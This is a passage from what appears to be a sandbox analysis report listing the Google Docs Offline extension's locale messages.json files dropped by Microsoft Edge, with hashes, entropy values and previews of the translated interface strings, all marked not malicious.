Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
